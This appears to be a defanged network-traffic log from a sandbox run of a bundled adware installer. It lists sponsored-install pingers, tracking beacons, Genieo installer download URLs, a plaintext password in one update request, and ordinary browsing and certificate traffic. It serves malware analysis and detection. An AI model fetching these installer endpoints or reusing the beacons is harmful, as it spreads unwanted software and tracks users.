hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1431730972&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1431730972
hxxp://xa.xingcloud.com/v4/sof-installer/MAS_WIN7X64ADA2_adm_0FEBFBFF000306C3?action=smt.chromesyn.exist	69.28.58.55
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ient	69.28.58.55
hxxp://xa.xingcloud.com/v4/sof-ient/267123711_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.2394&update4=chptid,smt	69.28.58.55
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=2&index_in_screen=1&index_in_session=2&0.03779669065679114
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=3&index_in_screen=1&index_in_session=3&0.7681906998080401
hxxp://xa.xingcloud.com/v4/sof-ient/267123711_198339_B48A115F?action1=install.smt	69.28.58.55
hxxp://theswiftrecord.com/mg?alpha=aAA7MU0nTQwWCy1GFBtCaURoPE1oRjlAPh5oTXdZbVZ6Ik85DSZDVxtHOj4YRxEjYEdoBVZFD3R0Yh4oewgBPD8QVyd+Rjh5QzZrVi9y
hxxp://xa.xingcloud.com/v4/searchprotect/?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.2409	69.28.58.55
hxxp://xa.xingcloud.com/v4/searchprotect/C:Program Files (x86)XTabProtectService.exe?action0=xa.geoip&action1=visit&action2=install	69.28.58.55
hxxp://theswiftrecord.com/fp?alpha=dXJcL3crCTARFysOcwV4dDYPInd1LkpeNlJzHTArcmZRLzF3Ay9ZHwM0SCohNGFefnpoAEZcMHR9CQBmbSNWL3IYBh4zAyxdOTxhUCYnImg2c19jKWJqC1tyCxxcbWJwJh07cyUIVVAbcjVANCUvYVF7CHQMMikoaHQNcXciZH4iZ2Y3T3EkOStMOiZdYiwQZWVpSnd5c38AQ3cLDFpodnEqED51MAkJSR11IEcgNihnSSxaZVBmO2c0eW0rPiV5eWcRfyVNay97chV9e1wxOj0RQ3gIPH9udQlSdgMaXm99ImBcNBV5UAgGXjQgNHxwfDoNL0kbSDEkNm1zD0l3NWJ5ewxpdxhCdVArTDcqAHtYXHEyblJjKWpwDk5wdhhcamJyIHZIBlQabwdFMQcs
hxxp://theswiftrecord.com/ii?alpha=dXJcL3dWGzFEEXJjcwV4dDYPInd1LlAHekBBSD4yJy4WaDJgAz8eQCF0UEtzejsbLh0sQmdvTD15D3NgdTkgKh8adQAydiYqTis0UDEnACRYLQc+KiYmHxAgDm9eax93KwM+byUJWCgEc0QxLDsgYCp9FnFyMl42H3QNAWkDVDZyRxZ0CHV8Ji5LLzwJdzRAcClvXXwvZ3YfByJVbhwyZip2SHkuf0wJT00iZjJreU9pWHoVdRo7LzVpagx1ZHImNnhURAxBYHxBTVx1YU07ahR4UDcEKnQkNBVDcQcBDDQvZXxDfydiAyEASjVvA3ZwbXQ+I1UhW3VuJW5kbTE+JnJjbFhELk9vYVo+Wmx3SzFzHisnZEp4NWJpDlV3AgwdOCk1elNsYmBfDwIJfSBBNyY/OxomWitTP1hrPihUMDlgP0VxWF8lSiMSYH8Of2EQZHQHeDN4BHxrbj4fAjEOFV5xanMhFmQjLQ5cUxx3OkUvLCsWU3gLfwA3O3U2IAAFMCxkdTlVRC1APgVaQTRbNF0tdxJ4Qx01AFp1MEkMIw5qLxEIBjVHbS19UFE+ZhVLN0tZTARPLk94Yk9qZCshEWMHDWBxbVQLFkdxNWF/FjpBGRFZIgwnGgM9cHMDXBUuUElILTB+NVVnIS0PShMUdiZVOic3EXY=
hxxp://theswiftrecord.com/if?alpha=eG8kLkI5NSEJah1cCwRNeSt3I0J4MygGT01cMD8HKjNuaQdtHkcfdSxpKEpGdyZjLyghXx9ueTBkd3JVeCRYKyoXaHgzQys3NioBXSxfARFVMH8/Hys7ZxEVA3Imaip6Nns/WigUICkxfllJLQ4tfVJ8I3xvSl8DEml1AFwOSU57ZxsOPmcYdUpsclN/Ng4cI30qZixGeDc3X0YYRytuXn87ZjhCMxIhRi19LzwsEjItdC1MOkZHdVUsKSktFigsDHtiZC85VEkoMywrCQ1tUkBeO3UnfR94PSQNPlFSKwk9aGE7fA5tRik/dSR5Z29QOGknfyMqQA46XycvIDBZAGMLbGtVMjB2VE5qbH9IQyxCR1BaMX0pSy0pKA0cX102Ek5ueC16BHRMekgmaismKQ0jfyF6LjtMCGpZNzxlMgUuYUgkJBdzZiQbam9jdUAJGgwXHGMwem8GCzQoFhdaEUUoDzprOyFRc1UpXDokL3glWjIoZ3Y3eAVLLAJyNCR/VH0wXS4+E2tsMDYjMTIhEwF5Eh8UNwVzI107fCUNH1AMUhIxAE9ubBhwQCksXxVTST5UZCZ1dkgJZSlZFiM9Ki8KcF0nTE9hDxlXJD9ndiZxeSgDAhUmY0QCWT8oJEIkV0NiKQ8iLhsoJF5wXUhYI25jOGdxP3goay1QYTJLDSA=
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=3&index_in_screen=1&index_in_session=3&0.703272314033617
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=4&index_in_screen=1&index_in_session=4&0.13830130870521184
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=4&index_in_screen=1&index_in_session=4&0.05251509077667993
hxxp://ghs.l.google.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&data=updater_ping=&revision_core=0&revision_updater=0&revision_partner=0&os_version=Microsoft Windows 7 Professional Service Pack 1 (build 7601), 64-bit&java_version=1.6
hxxp://s3-1-w.amazonaws.com/partner/gim394750002/release/live/partner_manifest.xml
hxxp://s3-1-w.amazonaws.com/partner/gim394750002/release/r16741/genieo_setup.gen
hxxp://s3-1-w.amazonaws.com/core/release/r16741/updater_manifest.xml
hxxp://s3-1-w.amazonaws.com/core/release/r16741/manifest.xml
hxxp://s3-1-w.amazonaws.com/core/release/r16741/trayapp_setup.gen
hxxp://s3-1-w.amazonaws.com/core/release/r16741/framework_setup.gen
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1431731024&SBPIDS=0	173.239.4.56
hxxp://www.theviilage.com/windowspm/up?ptid=smt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.2227&uid=&upv=	50.97.33.37
hxxp://www.google.com/	173.194.113.209
hxxp://www.google.com.ua/?gfe_rd=cr&ei=jntWVd-OJ4jDNOXJgKAL	173.194.113.215
hxxp://ghs.l.google.com/utils/whatsmyip.jsp
hxxp://s3-1-w.amazonaws.com/misc/preset_feeds_override2.json
hxxp://ghs.l.google.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&engine_started=&version_core=ver. 2.7.688, rev. 16741&version_partner=1.0.400&java_version=1.6.0_18&os=Windows 7&os_version=6.1
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=4.7.2&utmn=-78038755&utmt=event&utme=5(engine*engine_started)(1)&utmcs=UTF-8&utmje=1&utmhid=-945909530&utmac=UA-27085171-1&utmcc=__utma=999.1691583942.1431731088.1431731088.1431731088.1;+__utmz=999.1431731088327.1.1.utmcsr=(direct)\|utmccn=(direct)%7utmcmd=(none);&gaq=1
hxxp://yastatic.net/tableau/tableau.html?device=desktop&lang=uk&target=blank&preset=ua&service-id=www	178.154.131.215
hxxp://yandex.ru/yandsearch	87.250.250.8
hxxp://ya.ru/	213.180.193.3
hxxp://yandex.ru/yandsearch?rdrnd=955722&lr=147&redircnt=1431731090.1	87.250.250.8
hxxp://pass.yandex.com/?retpath=http://yandex.ua/yandsearch?lr=147&redircnt=1431731090.1&fretpath=http://yandex.ua/yandsearch?lr=147&redircnt=1431731090.1
hxxp://ghs.l.google.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&campaign_from_download=not_found&download_browser=not_found&campaign_extract_error=failed_installPath&download_url=
hxxp://test.youtubeaccelerator.com/robots.txt	107.20.238.80
hxxp://test.youtubeaccelerator.com/	107.20.238.80
hxxp://d3mdjn4wfmheda.cloudfront.net/robots.txt	54.192.231.18
hxxp://d3mdjn4wfmheda.cloudfront.net/	54.192.231.18
hxxp://d1jawciiqjso8h.cloudfront.net/robots.txt	54.192.231.9
hxxp://d1jawciiqjso8h.cloudfront.net/	54.192.231.9
hxxp://ya.ru/robots.txt	213.180.193.3
hxxp://yastatic.net/robots.txt	178.154.131.215
hxxp://yastatic.net/	178.154.131.215
hxxp://ps-xscript.yandex.net/jslibs
hxxp://company.yandex.ru/news/news.rss	87.250.251.57
hxxp://ps-xscript.yandex.net/jslibs/
hxxp://tech.yandex.ru/jslibs/	87.250.250.218
hxxp://yandex.ru/robots.txt	87.250.250.8
hxxp://installer.betterinstaller.com/robots.txt
hxxp://tools.l.google.com/robots.txt
hxxp://tools.l.google.com/
hxxp://ghs.l.google.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&bootstrap_started=
hxxp://mozorg.dynect.mozilla.net/robots.txt
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=4.7.2&utmn=-477500939&utmt=event&utme=5(engine*bootstrap_started)(1)&utmcs=UTF-8&utmje=1&utmhid=1589499410&utmac=UA-27085171-1&utmcc=__utma=999.1088883664.1431731093.1431731093.1431731093.1;+__utmz=999.1431731093617.1.1.utmcsr=(direct)\|utmccn=(direct)%7utmcmd=(none);&gaq=1
hxxp://mozorg.dynect.mozilla.net/
hxxp://ghs.l.google.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&history_ie=10
hxxp://company.yandex.ru/robots.txt	87.250.251.57
hxxp://newswww.bbc.net.uk/robots.txt
hxxp://company.yandex.ru/blog/index.rss	87.250.251.57
hxxp://newswww.bbc.net.uk/
hxxp://ghs.l.google.com/robots.txt
hxxp://company.yandex.ru/company/rss/posts.xml	87.250.251.57
hxxp://www.bbc.net.uk/news/
hxxp://ghs.l.google.com/admin/items/get_items_to_promotion?numTimesFetched=0&uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002
hxxp://www.bbc.net.uk/news
hxxp://ghs.l.google.com/admin/items/get_items_to_promotion
hxxp://test.youtubeaccelerator.com/favicon.ico	107.20.238.80
hxxp://company.yandex.ru/company/	87.250.251.57
hxxp://turner.map.fastly.net/robots.txt
hxxp://https.nodejs.spec.yandex.net/
hxxp://turner.map.fastly.net/
hxxp://ghs.l.google.com/favicon.ico
hxxp://yastatic.net/morda-logo/i/favicon_islands.ico	178.154.131.215
hxxp://turner.map.fastly.net/feedback
hxxp://company.yandex.ru/press_releases/	87.250.251.57
hxxp://turner.map.fastly.net/2015/05/11/asia/freedom-project-thailand-fishing-slave-ships/index.html
hxxp://a1638.g.akamai.net/news/1.69.0321/img/brand/news.png
hxxp://www.gtm.nytimes.com/robots.txt
hxxp://a1638.g.akamai.net/news/1.69.0321/img/correspondents/circles/markeaston.png
hxxp://a1638.g.akamai.net/news/1.69.0321/img/correspondents/circles/rorycellanjones.png
hxxp://yastatic.net/yandex-tech2-www/_/FA2t0d4VnPfgtJ9YRwNyI8OccPQ.ico	178.154.131.215
hxxp://www.gtm.nytimes.com/services/xml/rss/nyt/GlobalHome.xml
hxxp://yastatic.net/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.ico	178.154.131.215
hxxp://src.g03.yahoodns.net/robots.txt
hxxp://www.google.com/images/icons/product/chrome-32.png	173.194.113.209
hxxp://ghs.l.google.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&history_firefox=1
hxxp://feedlb2.feedsportal.com/services/xml/rss/nyt/InternationalHome.xml
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/robots.txt
hxxp://www.bbc.net.uk/favicon.ico
hxxp://src.g03.yahoodns.net/rss/mostviewed
hxxp://www.bbc.net.uk/robots.txt
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/rss/mostviewed
hxxp://www.bbc.net.uk/news/world-us-canada-32757790
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/rss/
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/
hxxp://www.gtm.nytimes.com/pages/international/index.html?partner=rss&emc=rss
hxxp://cs163.wpc.taucdn.net/media/img/favicon/favicon-196x196.cb79ae3b6daf.png
hxxp://a1726.d.akamai.net/cnn/.e/img/4.0/logos/cnn_arabic_bw.png
hxxp://a1726.d.akamai.net/cnn/.e/img/4.0/logos/cnn_espanol_bw.png
hxxp://a1726.d.akamai.net/cnn/.e/img/4.0/logos/cnn_mexico_bw.png
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/favicon.ico
hxxp://www.gtm.nytimes.com/?partner=rss&emc=rss
hxxp://a1726.d.akamai.net/cnn/.e/img/4.0/logos/cnn_facebook_bw.png
hxxp://a1726.d.akamai.net/cnn/.e/img/4.0/logos/cnn_twitter_bw.png
hxxp://a1726.d.akamai.net/cnn/.e/img/4.0/logos/cnn_googleplus_bw.png
hxxp://a1638.g.akamai.net/robots.txt
hxxp://a1638.g.akamai.net/Movie-News
hxxp://a1726.d.akamai.net/cnn/.e/img/4.0/logos/heroes_bw.png
hxxp://ghs.l.google.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&history_chrome=2
hxxp://a1726.d.akamai.net/cnn/.e/img/4.0/logos/impact_your_world_bw.png
hxxp://a1726.d.akamai.net/cnn/.e/img/4.0/logos/freedom_project_bw.jpg
hxxp://a1638.g.akamai.net/
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150407140705-01-tsarnaev-homepage-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150515194152-ramadi-forces-firing-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150515112659-warm-blood-fish-1-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150515181900-castroneves-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150321165651-mad-max-fury-road-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150514114639-01-burundi-unrest-0514-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/141222160809-google-driverless-car-prototype-large-169.jpg
hxxp://a1638.g.akamai.net/www/img/favicon.svg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150511150644-gerrard-liverpool-chelsea-large-169.jpg
hxxp://a1638.g.akamai.net/favicon.ico
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150515121147-medal-honor-tease-large-169.jpg
hxxp://a1726.d.akamai.net/favicon.ico
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150514103529-couple-sunset-large-169.jpg
hxxp://ghs.l.google.com/rss/cnn_world.rss
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150512105219-dramatic-airports-billy-bishop-large-169.jpg
hxxp://src.g03.yahoodns.net/rss/topstories
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/rss/topstories
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/140403201404-top-10-letterman-photo-large-169.png
hxxp://ghs.l.google.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&history_opera=0
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150515155036-hong-kong-us-mom-baby-kyuss-with-square-crop-large-169.jpeg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150219110954-restricted-01-kim-jong-un-0219-large-169.jpg
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/topstories/
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150514135548-04-france-stolen-monkeys-large-169.jpg
hxxp://turner.map.fastly.net/WORLD/index.html?eref=rss_world
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/140917150553-mobile-phone-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150515090525-01-amtrak-0515-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/141001122257-blatter-tease-large-169.jpg
hxxp://turner.map.fastly.net/favicon.ie9.ico
hxxp://ghs.l.google.com/rss/cnn_us.rss
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150512125413-skyhawk-aerial-photography-lone-fisherman-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150508163610-bonhams-250-gto-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150514155202-shrek-tease-only-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150515121240-electronic-skin-tease-large-169.jpg
hxxp://turner.map.fastly.net/US/index.html?eref=rss_us
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150515150646-defining-moments---argentina-football-fans-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150513072302-01-nepal-0513-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150513041334-lklv-novak-north-korea-executes-defense-chief-00004027-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150514040310-pkg-kriel-burundi-govt-coup-attempt-00014911-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150513152047-pkg-sesay-italy-migrant-birth-00011101-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150513204138-without-shoes-campaign-toms-orig-00010918-large-169.jpg
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/top/rss;_ylt=AlwdHRvtXpvepkk.PZVQ41o5nYcB
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150513164816-inside-supermax-prison-orig-00004310-large-169.jpg
hxxp://ghs.l.google.com/rss/edition_sport.rss
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/140528100911-driverless-cars-google-story-top.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150513142341-mh370-shipwreck-find-1-large-169.png
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/top/rss
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150508120535-tina-fey-strips-letterman-01-large-169.png
hxxp://turner.map.fastly.net/SPORT/index.html?eref=rss_sport
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150507163625-screen-free-week-lisas-desk-orig-mg-00002822-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/131112192547-spin-bottle-serendipity-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150512162730-salma-hayek-refugee-camp---s046828726-large-169.jpg
hxxp://src.g03.yahoodns.net/rss/business
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150513133203-17-amtrak-pa-0513-large-169.jpg
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/rss/business
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150515002106-pkg-hancocks-north-korea-slave-labor-00005614-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150515114344-river-plate-police-shield-large-169.jpg
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/business/
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150514124427-singing-gay-sailor-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150507172545-06-week-in-photos-0508-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150514151419-baby-3-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150421164740-lead-dnt-sciutto-u-s-warships-in-yemen-message-to-iran-00002919-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/120828060720-mars-082812-story-top.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150514174622-lead-dnt-griffin-amtrak-engineer-brandon-bostian-profile-00012203-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150514192742-obama-welcomes-leaders-and-delegations-from-the-gulf-cooperation-council-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150507143410-kelly-and-brady-hager-irpt-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150512181019-nepal-saugat-3-large-169.png
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150507223900-thailand-fishing-boats-2-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150501153547-nyau-mozambique-vlad-sokhin-3-large-169.jpg
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/rss/techticker;_ylt=AgNOUJ4WcWe1kmDTnkJPdaVk7ot4
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150503120239-10-will-ripley-north-korea-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150505094904-17-will-ripley-north-korea-large-169.jpeg
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/rss/techticker
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150504161502-arwa-nepal-5-large-169.jpeg
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/blogs/daily-ticker/rss
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150430232235-04-gupta-cardiac-arrest-0430-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150430103324-nepal-baby-large-10-large-169.jpg
hxxp://www.cnbc.com/robots.txt	207.223.6.20
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150423163714-migrants---s046644079-large-169.jpg
hxxp://www.cnbc.com/id/19746125/device/rss/rss.xml	207.223.6.20
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/140922054849-isis-militant-flames-of-war-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150415150704-01-isis-documents-0416-large-169.jpg
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/rss/blogs/daily-ticker/
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150414130759-beheading-belgium-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150420160008-iran-military-parade-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150414175002-yemen-aid-plane-icrc-red-cross-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150408180918-lok-damon-iraq-isis-yazidi-captives-released-00003419-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150407162433-afghan-rape-gulnaz-large-169.jpg
hxxp://www.cnbc.com/id/19746125	207.223.6.20
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150409105546-pkg-paton-walsh-afghanistan-kabul-waits-00001913-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150408162525-us-soldiers-afghanistan-npw-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150403102941-cambodia-sex-revisit-freedom-project-large-169.jpg
hxxp://a1638.g.akamai.net/breakingnews
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150331115950-high-school-students-in-eyeglasses-large-169.jpg
hxxp://a1726.d.akamai.net/cnnnext/dam/assets/150323200604-erin-dnt-elbagir-nigeria-children-for-sale-00032720-large-169.jpg
hxxp://www.cnbc.com/	207.223.6.20
hxxp://www.cnbc.com/id/100746255?region=world	207.223.6.20
hxxp://turner.map.fastly.net/2015/05/15/us/boston-bombing-tsarnaev-sentence/index.html
hxxp://www.theviilage.com/searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.2409&uid=&dp=0	50.97.33.37
hxxp://www.cnbc.com/favicon.ico	207.223.6.20
hxxp://www.google.com.ua/?gfe_rd=cr&ei=qHtWVbGGIIjDNOXJgKAL	173.194.113.215
hxxp://src.g03.yahoodns.net/rss/us
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/rss/us
hxxp://www.gtm.nytimes.com/nyt/rss/HomePage
hxxp://fd-geoycpi-uno-deluxe.gycpi.b.yahoodns.net/us/
hxxp://feedlb2.feedsportal.com/services/xml/rss/nyt/HomePage.xml
hxxp://www.gtm.nytimes.com/pages/index.html?partner=rss&emc=rss
hxxp://www.gtm.nytimes.com/index.html?partner=rss&emc=rss
hxxp://www.gtm.nytimes.com/
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?80234f3548c663b9
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD+Oyl+0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCED141/l2SWCyYX308B7Khio=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx+JOp7hVgTeaGFJ/CQgQUljtT8Hkzl699g+8uK8zKt4YecmYCEDw+Um5Px/ypQy8rxvNMhqU=
hxxp://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEEIa8pQJhBkfUgpLxiQmp0s=	178.255.83.1
hxxp://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRtl6lMY2+iPob4twryIF+FfgUdvwQUK8NGq7oOyWUqRtF5R8Ri4uHa/LgCEBBwnU/1VAjXMGAB2OqRdbs=	178.255.83.1
hxxp://ocsp.usertrust.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQDmFsbNcBDBl+cij2b1soa7	178.255.83.1
hxxp://a1726.d.akamai.net/pki/crl/products/microsoftrootcert.crl
hxxp://a1726.d.akamai.net/pki/crl/products/WinPCA.crl
hxxp://a1726.d.akamai.net/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?23bd924b10a22357
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?ba0434e570a9933a
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?27c8070a6e7007c8
hxxp://crl.globalsign.net/root-r3.crl	108.162.232.203
hxxp://crl.globalsign.net/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhJz1lhSyxS2RYZQVJ48M2bQ==	108.162.232.203
hxxp://crl.globalsign.net/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhe/+pr+g3vWZOnLHIj3xQ0w==	108.162.232.203
